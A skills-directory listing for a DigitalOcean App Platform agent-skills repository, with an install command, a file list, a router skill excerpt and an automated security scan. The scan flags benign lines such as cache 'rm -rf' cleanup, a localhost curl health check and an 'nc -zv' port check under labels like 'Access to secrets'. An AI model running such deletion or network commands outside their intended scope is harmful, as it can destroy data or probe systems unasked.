Not in the top 1,000 by GitHub stars

digitalocean-labs/do-app-platform-skills

Claude/Agent Skills for DigitalOcean App Platform - deployment, migration, networking, database configuration, and troubleshooting

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

cc08dcdf34f5 → 1cd2028725b0

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → cc08dcdf34f5

No earlier version was observed for comparison.

Compare on GitHub

skills/ai-services/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

cc08dcdf34f5 → 1cd2028725b0

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → cc08dcdf34f5

No earlier version was observed for comparison.

Compare on GitHub

skills/deployment/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

cc08dcdf34f5 → 1cd2028725b0

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → cc08dcdf34f5

No earlier version was observed for comparison.

Compare on GitHub

skills/designer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

cc08dcdf34f5 → 1cd2028725b0

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → cc08dcdf34f5

No earlier version was observed for comparison.

Compare on GitHub

skills/devcontainers/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

cc08dcdf34f5 → 1cd2028725b0

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → cc08dcdf34f5

No earlier version was observed for comparison.

Compare on GitHub

skills/managed-db-services/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

cc08dcdf34f5 → 1cd2028725b0

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → cc08dcdf34f5

No earlier version was observed for comparison.

Compare on GitHub

skills/migration/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Local scripts

cc08dcdf34f5 → 1cd2028725b0

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → cc08dcdf34f5

No earlier version was observed for comparison.

Compare on GitHub

skills/networking/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Instructions only

cc08dcdf34f5 → 1cd2028725b0

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → cc08dcdf34f5

No earlier version was observed for comparison.

Compare on GitHub

skills/planner/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

cc08dcdf34f5 → 1cd2028725b0

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → cc08dcdf34f5

No earlier version was observed for comparison.

Compare on GitHub

skills/postgres/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Local scripts

cc08dcdf34f5 → 1cd2028725b0

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → cc08dcdf34f5

No earlier version was observed for comparison.

Compare on GitHub

skills/sandbox/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

cc08dcdf34f5 → 1cd2028725b0

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → cc08dcdf34f5

No earlier version was observed for comparison.

Compare on GitHub

skills/spaces/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

cc08dcdf34f5 → 1cd2028725b0

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → cc08dcdf34f5

No earlier version was observed for comparison.

Compare on GitHub

skills/troubleshooting/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Not checked yet → After Network or broad shell

cc08dcdf34f5 → 1cd2028725b0

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Not checked yet

First observation → cc08dcdf34f5

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 1cd2028725b06a8ed7cd2fade9f4b7fa88193e8b

git clone --filter=blob:none --no-checkout https://github.com/digitalocean-labs/do-app-platform-skills.git .hotskills/digitalocean-labs-do-app-platform-skills && git -C .hotskills/digitalocean-labs-do-app-platform-skills checkout --detach 1cd2028725b06a8ed7cd2fade9f4b7fa88193e8b # Copy each selected skill directory from .hotskills/digitalocean-labs-do-app-platform-skills into .claude/skills/<skill-name>/
38GitHub stars
0stars in 7 days
13skills in this repository
4commits in 30 days

Heat

1.4
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Oct 25, 202638

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

app-platform-router

When your agent uses it

Routes DigitalOcean App Platform tasks to specialized sub-skills. Use when working with App Platform deployments, migrations, database configuration, networking, or troubleshooting.

What it loads into context

Frontmatter

102 tokens

Always available to the agent

SKILL.md

3,922 tokens

When the skill is activated

Reference documents

30,239 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Overview
  2. Available Skills
  3. Console SDK for AI Assistants
  4. Routing Decision Tree
  5. Workflow Chaining
  6. Trigger Phrases Reference
  7. Third-Party Integrations (No Skill Needed)
  8. Credential Handling Philosophy
  9. Artifact Contracts
  10. Plugin/Tool Requirements
  11. Sub-Skill Locations
  12. Opinionated Defaults Summary
  13. Escalation

Scripts executed separately

  • Makefile
  • scripts/collect_analytics.py
  • scripts/validate_skills.py
  • scripts/view_analytics.py
  • tests/conftest.py
  • tests/test_edge_cases/test_errors.py
  • tests/test_helpers.py
  • tests/test_migration/test_analyze_architecture.py
  • tests/test_migration/test_analyze_architecture_full.py
  • tests/test_migration/test_detect_platform.py
  • tests/test_migration/test_detect_platform_full.py
  • tests/test_migration/test_generate_app_spec.py
  • tests/test_migration/test_generate_app_spec_full.py
  • tests/test_migration/test_generate_checklist.py
  • tests/test_migration/test_generate_checklist_full.py
  • tests/test_postgres/test_add_client.py
  • tests/test_postgres/test_add_client_full.py
  • tests/test_postgres/test_cleanup_client.py
  • tests/test_postgres/test_cleanup_client_full.py
  • tests/test_postgres/test_client_scripts.py
  • tests/test_postgres/test_connection_string.py
  • tests/test_postgres/test_connection_string_full.py
  • tests/test_postgres/test_create_schema_user.py
  • tests/test_postgres/test_create_schema_user_full.py
  • tests/test_postgres/test_list_schemas.py
  • tests/test_postgres/test_list_schemas_full.py
  • tests/test_postgres/test_secure_setup.py
  • tests/test_postgres/test_secure_setup_full.py
  • tests/test_security/test_security.py
  • tests/test_shared/test_configurations.py
  • tests/test_shared/test_skill_schema.py
  • tests/test_validation/test_documentation.py
  • tests/test_validation/test_schemas.py
  • tests/test_validation/test_validate_skills.py
  • tests/test_workflows/test_e2e.py

Files

  • .ggshield.yamlasset596 bytes
  • .gitguardian.yamlasset415 bytes
  • .github/workflows/collect-analytics.ymlasset1,203 bytes
  • .gitignoreasset263 bytes
  • CHANGELOG.mddoc4,163 bytes
  • CLAUDE.mddoc3,418 bytes
  • CODE_OF_CONDUCT.mddoc324 bytes
  • CONTRIBUTING.mddoc4,094 bytes
  • Docs/README.mddoc1,419 bytes
  • Docs/architecture.mddoc2,680 bytes
  • Docs/developer-guide.mddoc1,394 bytes
  • Docs/faq.mddoc1,093 bytes
  • Docs/governance.mddoc1,337 bytes
  • Docs/operations-runbook.mddoc1,566 bytes
  • Docs/project-overview.mddoc1,893 bytes
  • Docs/release-and-versioning.mddoc1,405 bytes
  • Docs/roadmap.mddoc1,089 bytes
  • Docs/security-model.mddoc2,026 bytes
  • Docs/skills-and-content-model.mddoc1,548 bytes
  • Docs/testing-and-quality.mddoc1,548 bytes
  • Docs/user-guide.mddoc6,127 bytes
  • LICENSEasset1,056 bytes
  • Makefileruns2,323 bytes
  • README.mddoc7,508 bytes
  • SECURITY.mddoc1,506 bytes
  • SKILL.mdcore19,580 bytes
  • SKILL.mdcore19,580 bytes
  • SKILL.mdcore19,580 bytes
  • TESTING.mddoc10,283 bytes
  • analytics/.gitkeepasset92 bytes
  • analytics/README.mddoc4,120 bytes
  • analytics/clones/clones.csvasset12,990 bytes
  • analytics/content/popular_202601.csvasset4,940 bytes
  • analytics/content/popular_202602.csvasset14,092 bytes
  • analytics/content/popular_202604.csvasset4,051 bytes
  • analytics/content/popular_202605.csvasset5,434 bytes
  • analytics/content/popular_202606.csvasset4,388 bytes
  • analytics/content/popular_202607.csvasset3,935 bytes
  • analytics/content/popular_202608.csvasset5,525 bytes
  • analytics/content/popular_202609.csvasset4,641 bytes
  • analytics/content/popular_202610.csvasset4,490 bytes
  • analytics/content/popular_202611.csvasset1,420 bytes
  • analytics/latest_summary.jsonasset3,215 bytes
  • analytics/referrers/referrers_202601.csvasset916 bytes
  • analytics/referrers/referrers_202602.csvasset2,318 bytes
  • analytics/referrers/referrers_202604.csvasset905 bytes
  • analytics/referrers/referrers_202605.csvasset1,209 bytes
  • analytics/referrers/referrers_202606.csvasset681 bytes
  • analytics/referrers/referrers_202607.csvasset598 bytes
  • analytics/referrers/referrers_202608.csvasset994 bytes
  • analytics/referrers/referrers_202609.csvasset626 bytes
  • analytics/referrers/referrers_202610.csvasset546 bytes
  • analytics/referrers/referrers_202611.csvasset171 bytes
  • analytics/traffic/views.csvasset12,726 bytes
  • architecture/AGENT-WORKFLOWS.mddoc11,586 bytes
  • pytest.iniasset573 bytes
  • requirements-dev.txtdoc565 bytes
  • scripts/collect_analytics.pyruns7,985 bytes
  • scripts/validate_skills.pyruns4,737 bytes
  • scripts/view_analytics.pyruns5,528 bytes
  • shared/AppSpec-Reference.mddoc16,286 bytes
  • shared/bindable-variables.mddoc9,788 bytes
  • shared/console-sdk-patterns.mddoc4,317 bytes
  • shared/credential-patterns.mddoc15,813 bytes
  • shared/error-patterns.mddoc5,853 bytes
  • shared/instance-sizes.yamlasset3,677 bytes
  • shared/opinionated-defaults.yamlasset6,163 bytes
  • shared/regions.yamlasset3,548 bytes
  • shared/skill-schema.jsonasset3,007 bytes
  • shared/ssl-database-connections.mddoc8,341 bytes
  • tests/conftest.pyruns7,859 bytes
  • tests/test_edge_cases/test_errors.pyruns13,198 bytes
  • tests/test_helpers.pyruns6,760 bytes
  • tests/test_migration/test_analyze_architecture.pyruns6,791 bytes
  • tests/test_migration/test_analyze_architecture_full.pyruns16,567 bytes
  • tests/test_migration/test_detect_platform.pyruns2,617 bytes
  • tests/test_migration/test_detect_platform_full.pyruns10,294 bytes
  • tests/test_migration/test_generate_app_spec.pyruns5,217 bytes
  • tests/test_migration/test_generate_app_spec_full.pyruns10,662 bytes
  • tests/test_migration/test_generate_checklist.pyruns6,082 bytes
  • tests/test_migration/test_generate_checklist_full.pyruns9,484 bytes
  • tests/test_postgres/test_add_client.pyruns5,916 bytes
  • tests/test_postgres/test_add_client_full.pyruns11,238 bytes
  • tests/test_postgres/test_cleanup_client.pyruns3,605 bytes
  • tests/test_postgres/test_cleanup_client_full.pyruns16,268 bytes
  • tests/test_postgres/test_client_scripts.pyruns10,303 bytes
  • tests/test_postgres/test_connection_string.pyruns7,625 bytes
  • tests/test_postgres/test_connection_string_full.pyruns11,307 bytes
  • tests/test_postgres/test_create_schema_user.pyruns2,406 bytes
  • tests/test_postgres/test_create_schema_user_full.pyruns5,174 bytes
  • tests/test_postgres/test_list_schemas.pyruns5,112 bytes
  • tests/test_postgres/test_list_schemas_full.pyruns11,759 bytes
  • tests/test_postgres/test_secure_setup.pyruns9,723 bytes
  • tests/test_postgres/test_secure_setup_full.pyruns7,314 bytes
  • tests/test_security/test_security.pyruns15,353 bytes
  • tests/test_shared/test_configurations.pyruns1,991 bytes
  • tests/test_shared/test_skill_schema.pyruns10,837 bytes
  • tests/test_validation/test_documentation.pyruns13,413 bytes
  • tests/test_validation/test_schemas.pyruns10,868 bytes
  • tests/test_validation/test_validate_skills.pyruns11,281 bytes
  • tests/test_workflows/test_e2e.pyruns11,313 bytes
Read SKILL.md

# App Platform Skills — Router

## Overview

This skill routes DigitalOcean App Platform tasks to specialized sub-skills. Each sub-skill is optimized for a specific workflow, keeping context focused and responses precise.

**Philosophy**: These skills are opinionated playbooks, not documentation replicas. They make decisions for you (VPC by default, GitHub Actions for CI/CD, etc.) and only defer to docs for edge cases.

**Key Principle**: Skills contain only DO-specific knowledge the LLM doesn't have from training. Generic SQL, SDK patterns, and programming concepts are NOT duplicated here.

**Trust the AI**: The AI assistant should reason about the full workflow, chain skills together when needed, and adapt based on context (greenfield vs brownfield vs troubleshooting). Skills provide domain knowledge, not rigid scripts to follow blindly.

## Available Skills
View the complete source on GitHub

Skills included

  • app-platform-router
  • ai-services
  • deployment
  • app-platform-designer
  • devcontainers
  • managed-db-services
  • app-platform-migration
  • app-platform-networking
  • planner
  • postgres
  • app-platform-sandbox
  • spaces
  • app-platform-troubleshooting

Repository facts

License
MIT
Created
Dec 28, 2025
Last pushed
Nov 1, 2026
Forks
4
Open issues
1
Project activity
Active

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 5, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 55 notes
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ai-services/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ai-services/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ai-services/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/ai-services/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/deployment/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/deployment/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/deployment/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/designer/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/devcontainers/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/devcontainers/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/devcontainers/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/devcontainers/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/devcontainers/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/devcontainers/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/devcontainers/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/devcontainers/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/devcontainers/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/devcontainers/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 961 signals by file

.ggshield.yaml

  • Network accessline 1
    # ggshield Configuration (alternative to .gitguardian.yaml) # https://docs.gitguardian.com/ggshield-docs/reference/configuration
  • Network accessline 2
    # https://docs.gitguardian.com/ggshield-docs/reference/configuration

.gitguardian.yaml

  • Network accessline 1
    # GitGuardian Configuration # https://docs.gitguardian.com/ggshield-docs/reference/configuration
  • Network accessline 2
    # https://docs.gitguardian.com/ggshield-docs/reference/configuration

.gitignore

  • Access to secretsline 13
    [Credential-related source omitted]

CHANGELOG.md

  • Network accessline 5
    The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/).

CODE_OF_CONDUCT.md

  • Network accessline 1
    # https://github.com/digitalocean/engineering-code-of-conduct

CONTRIBUTING.md

  • Network accessline 25
    git clone https://github.com/<your-username>/do-app-platform-skills.git
  • Network accessline 141
    For implementation and contribution flow patterns similar to DigitalOcean CLI, see: https://github.com/digitalocean/doctl?tab=contributing-ov-file#issues
  • Network accessline 142
    https://github.com/digitalocean/doctl?tab=contributing-ov-file#issues

Docs/developer-guide.md

  • Network accessline 6
    git clone https://github.com/digitalocean-labs/do-app-platform-skills.git

Docs/user-guide.md

  • Network accessline 143
    - [App Platform Documentation](https://docs.digitalocean.com/products/app-platform/)
  • Network accessline 144
    - [App Spec Reference](https://docs.digitalocean.com/products/app-platform/reference/app-spec/)
  • Network accessline 145
    - [doctl CLI](https://docs.digitalocean.com/reference/doctl/)

Makefile

  • Executable scriptline 1
    Executable file
  • Dangerous shell operationline 60
    rm -rf htmlcov/
  • Dangerous shell operationline 61
    rm -rf .pytest_cache/
  • Dangerous shell operationline 62
    rm -rf .coverage
  • Dangerous shell operationline 63
    rm -rf coverage.xml
  • Dangerous shell operationline 64
    find . -type d -name __pycache__ -exec rm -rf {} + 2>/dev/null || true
  • Dangerous shell operationline 65
    find . -type f -name "*.pyc" -delete

README.md

  • Network accessline 59
    # 1) Clone repository git clone https://github.com/digitalocean-labs/do-app-platform-skills.git
  • Network accessline 60
    git clone https://github.com/digitalocean-labs/do-app-platform-skills.git

SKILL.md

  • Access to secretsline 286
    [Credential-related source omitted]
  • Access to secretsline 286
    [Credential-related source omitted]
  • Access to secretsline 286
    [Credential-related source omitted]
  • Access to secretsline 286
    [Credential-related source omitted]
  • Access to secretsline 286
    [Credential-related source omitted]
  • Access to secretsline 286
    [Credential-related source omitted]
  • Access to secretsline 288
    [Credential-related source omitted]
  • Access to secretsline 288
    [Credential-related source omitted]
  • Access to secretsline 288
    [Credential-related source omitted]
  • Access to secretsline 288
    [Credential-related source omitted]
  • Access to secretsline 288
    [Credential-related source omitted]
  • Access to secretsline 288
    [Credential-related source omitted]
  • Access to secretsline 315
    [Credential-related source omitted]
  • Access to secretsline 315
    [Credential-related source omitted]
  • Access to secretsline 315
    [Credential-related source omitted]
  • Access to secretsline 315
    [Credential-related source omitted]
  • Access to secretsline 315
    [Credential-related source omitted]
  • Access to secretsline 315
    [Credential-related source omitted]
  • Access to secretsline 316
    [Credential-related source omitted]
  • Access to secretsline 316
    [Credential-related source omitted]
  • Access to secretsline 316
    [Credential-related source omitted]
  • Access to secretsline 316
    [Credential-related source omitted]
  • Access to secretsline 316
    [Credential-related source omitted]
  • Access to secretsline 316
    [Credential-related source omitted]
  • Network accessline 414
    1. Ask clarifying question to determine primary intent 2. Suggest skill sequence if task is multi-phase 3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/
  • Network accessline 414
    1. Ask clarifying question to determine primary intent 2. Suggest skill sequence if task is multi-phase 3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/
  • Network accessline 414
    1. Ask clarifying question to determine primary intent 2. Suggest skill sequence if task is multi-phase 3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/
  • Network accessline 414
    1. Ask clarifying question to determine primary intent 2. Suggest skill sequence if task is multi-phase 3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/
  • Network accessline 414
    1. Ask clarifying question to determine primary intent 2. Suggest skill sequence if task is multi-phase 3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/
  • Network accessline 414
    1. Ask clarifying question to determine primary intent 2. Suggest skill sequence if task is multi-phase 3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/
  • Network accessline 416
    3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/
  • Network accessline 416
    3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/
  • Network accessline 416
    3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/
  • Network accessline 416
    3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/
  • Network accessline 416
    3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/
  • Network accessline 416
    3. For truly novel tasks, fall back to App Platform documentation: https://docs.digitalocean.com/products/app-platform/

TESTING.md

  • Network accessline 412
    - [pytest documentation](https://docs.pytest.org/)
  • Network accessline 413
    - [pytest fixtures guide](https://docs.pytest.org/en/stable/fixture.html)
  • Network accessline 414
    - [pytest markers guide](https://docs.pytest.org/en/stable/example/markers.html)
  • Network accessline 415
    - [Coverage.py documentation](https://coverage.readthedocs.io/)

analytics/README.md

  • Network accessline 11
    1. Go to **GitHub Settings** → **Developer settings** → **Personal access tokens** → **Tokens (classic)**    - Or visit: https://github.com/settings/tokens
  • Network accessline 12
    - Or visit: https://github.com/settings/tokens

architecture/AGENT-WORKFLOWS.md

  • Network accessline 215
    |-------|------------|-----| | DB connection fails | `psql $DATABASE_URL -c "SELECT 1"` | Check SSL config, firewall | | Health check fails | `curl localhost:$PORT/health` | Check port binding, endpoint |
  • Network accessline 216
    | DB connection fails | `psql $DATABASE_URL -c "SELECT 1"` | Check SSL config, firewall | | Health check fails | `curl localhost:$PORT/health` | Check port binding, endpoint | | Permission denied | `SELECT current_user, has_database_privile
  • Network accessline 217
    | Health check fails | `curl localhost:$PORT/health` | Check port binding, endpoint |

scripts/collect_analytics.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]

scripts/validate_skills.py

  • Executable scriptline 1
    #!/usr/bin/env python3

scripts/view_analytics.py

  • Executable scriptline 1
    #!/usr/bin/env python3

shared/AppSpec-Reference.md

  • Network accessline 82
    git:   repo_clone_url: string # e.g., https://github.com/digitalocean/sample-golang.git
  • Network accessline 82
    git:   repo_clone_url: string # e.g., https://github.com/digitalocean/sample-golang.git
  • Network accessline 83
    repo_clone_url: string # e.g., https://github.com/digitalocean/sample-golang.git
  • Network accessline 83
    repo_clone_url: string # e.g., https://github.com/digitalocean/sample-golang.git
  • Access to secretsline 122
    [Credential-related source omitted]
  • Access to secretsline 122
    [Credential-related source omitted]
  • Access to secretsline 511
    [Credential-related source omitted]
  • Access to secretsline 511
    [Credential-related source omitted]
  • Network accessline 522
    open_search:   endpoint: string # HTTPS only, format: https://host:port
  • Network accessline 522
    open_search:   endpoint: string # HTTPS only, format: https://host:port
  • Network accessline 523
    endpoint: string # HTTPS only, format: https://host:port
  • Network accessline 523
    endpoint: string # HTTPS only, format: https://host:port
  • Network accessline 611
    cors:         allow_origins:           - prefix: https://internal.example-app.com
  • Network accessline 611
    cors:         allow_origins:           - prefix: https://internal.example-app.com
  • Network accessline 613
    - prefix: https://internal.example-app.com
  • Network accessline 613
    - prefix: https://internal.example-app.com
  • Network accessline 637
    - App Spec Reference: https://docs.digitalocean.com/products/app-platform/reference/app-spec/
  • Network accessline 637
    - App Spec Reference: https://docs.digitalocean.com/products/app-platform/reference/app-spec/
  • Network accessline 638
    - Pricing: https://docs.digitalocean.com/products/app-platform/details/pricing/
  • Network accessline 638
    - Pricing: https://docs.digitalocean.com/products/app-platform/details/pricing/
  • Network accessline 639
    - Buildpacks: https://docs.digitalocean.com/products/app-platform/reference/buildpacks/
  • Network accessline 639
    - Buildpacks: https://docs.digitalocean.com/products/app-platform/reference/buildpacks/

shared/bindable-variables.md

  • Network accessline 130
    |----------|-------------|---------------| | `${APP_DOMAIN}` | App's primary domain | `myapp-xyz.ondigitalocean.app` | | `${APP_URL}` | App's URL with protocol | `https://myapp-xyz.ondigitalocean.app` |
  • Network accessline 130
    |----------|-------------|---------------| | `${APP_DOMAIN}` | App's primary domain | `myapp-xyz.ondigitalocean.app` | | `${APP_URL}` | App's URL with protocol | `https://myapp-xyz.ondigitalocean.app` |
  • Network accessline 131
    | `${APP_DOMAIN}` | App's primary domain | `myapp-xyz.ondigitalocean.app` | | `${APP_URL}` | App's URL with protocol | `https://myapp-xyz.ondigitalocean.app` | | `${APP_ID}` | App's unique identifier | `a1b2c3d4-5678-90ab-cdef` |
  • Network accessline 131
    | `${APP_DOMAIN}` | App's primary domain | `myapp-xyz.ondigitalocean.app` | | `${APP_URL}` | App's URL with protocol | `https://myapp-xyz.ondigitalocean.app` | | `${APP_ID}` | App's unique identifier | `a1b2c3d4-5678-90ab-cdef` |
  • Network accessline 132
    | `${APP_URL}` | App's URL with protocol | `https://myapp-xyz.ondigitalocean.app` |
  • Network accessline 132
    | `${APP_URL}` | App's URL with protocol | `https://myapp-xyz.ondigitalocean.app` |
  • Network accessline 191
    | Variable | Description | Example Value | |----------|-------------|---------------| | `${component.PRIVATE_URL}` | Internal URL (VPC) | `http://api.myapp.internal:8080` |
  • Network accessline 191
    | Variable | Description | Example Value | |----------|-------------|---------------| | `${component.PRIVATE_URL}` | Internal URL (VPC) | `http://api.myapp.internal:8080` |
  • Network accessline 192
    |----------|-------------|---------------| | `${component.PRIVATE_URL}` | Internal URL (VPC) | `http://api.myapp.internal:8080` | | `${component.PUBLIC_URL}` | Public URL | `https://api-xyz.ondigitalocean.app` |
  • Network accessline 192
    |----------|-------------|---------------| | `${component.PRIVATE_URL}` | Internal URL (VPC) | `http://api.myapp.internal:8080` | | `${component.PUBLIC_URL}` | Public URL | `https://api-xyz.ondigitalocean.app` |
  • Network accessline 193
    | `${component.PRIVATE_URL}` | Internal URL (VPC) | `http://api.myapp.internal:8080` |
  • Network accessline 193
    | `${component.PRIVATE_URL}` | Internal URL (VPC) | `http://api.myapp.internal:8080` |
  • Network accessline 194
    | `${component.PUBLIC_URL}` | Public URL | `https://api-xyz.ondigitalocean.app` |
  • Network accessline 194
    | `${component.PUBLIC_URL}` | Public URL | `https://api-xyz.ondigitalocean.app` |
  • Network accessline 365
    - [App Spec Reference](https://docs.digitalocean.com/products/app-platform/reference/app-spec/)
  • Network accessline 365
    - [App Spec Reference](https://docs.digitalocean.com/products/app-platform/reference/app-spec/)
  • Network accessline 366
    - [Managed Databases](https://docs.digitalocean.com/products/databases/)
  • Network accessline 366
    - [Managed Databases](https://docs.digitalocean.com/products/databases/)
  • Network accessline 367
    - [Database Users](https://docs.digitalocean.com/products/databases/postgresql/how-to/manage-users-and-databases/)
  • Network accessline 367
    - [Database Users](https://docs.digitalocean.com/products/databases/postgresql/how-to/manage-users-and-databases/)

shared/console-sdk-patterns.md

  • Network accessline 58
    # Network diagnostics app.exec("curl -I http://internal-service:8080/health")
  • Network accessline 59
    app.exec("curl -I http://internal-service:8080/health")
  • Network accessline 60
    app.exec("nc -zv db-host 5432")

shared/credential-patterns.md

  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 99
    [Credential-related source omitted]
  • Access to secretsline 260
    [Credential-related source omitted]
  • Access to secretsline 271
    [Credential-related source omitted]
  • Access to secretsline 277
    [Credential-related source omitted]
  • Access to secretsline 314
    [Credential-related source omitted]
  • Network accessline 317
    - key: NEXT_PUBLIC_API_URL     scope: BUILD_TIME     value: https://api.example.com
  • Network accessline 319
    value: https://api.example.com
  • Access to secretsline 403
    [Credential-related source omitted]
  • Access to secretsline 406
    [Credential-related source omitted]
  • Access to secretsline 413
    [Credential-related source omitted]
  • Dangerous shell operationline 414
    rm .env.production
  • Network accessline 427
    - [GitHub Environments](https://docs.github.com/en/actions/deployment/targeting-different-environments/using-environments-for-deployment)
  • Network accessline 428
    - [GitHub Secrets](https://docs.github.com/en/actions/security-guides/using-secrets-in-github-actions)
  • Network accessline 429
    - [DO App Platform Secrets](https://docs.digitalocean.com/products/app-platform/how-to/use-environment-variables/)

shared/opinionated-defaults.yaml

  • Access to secretsline 89
    [Credential-related source omitted]
  • Access to secretsline 93
    [Credential-related source omitted]
  • Network accessline 172
    # Documentation URLs (for reference in skills) documentation:   app_spec: https://docs.digitalocean.com/products/app-platform/reference/app-spec/
  • Network accessline 173
    documentation:   app_spec: https://docs.digitalocean.com/products/app-platform/reference/app-spec/   pricing: https://docs.digitalocean.com/products/app-platform/details/pricing/
  • Network accessline 174
    app_spec: https://docs.digitalocean.com/products/app-platform/reference/app-spec/
  • Network accessline 175
    pricing: https://docs.digitalocean.com/products/app-platform/details/pricing/
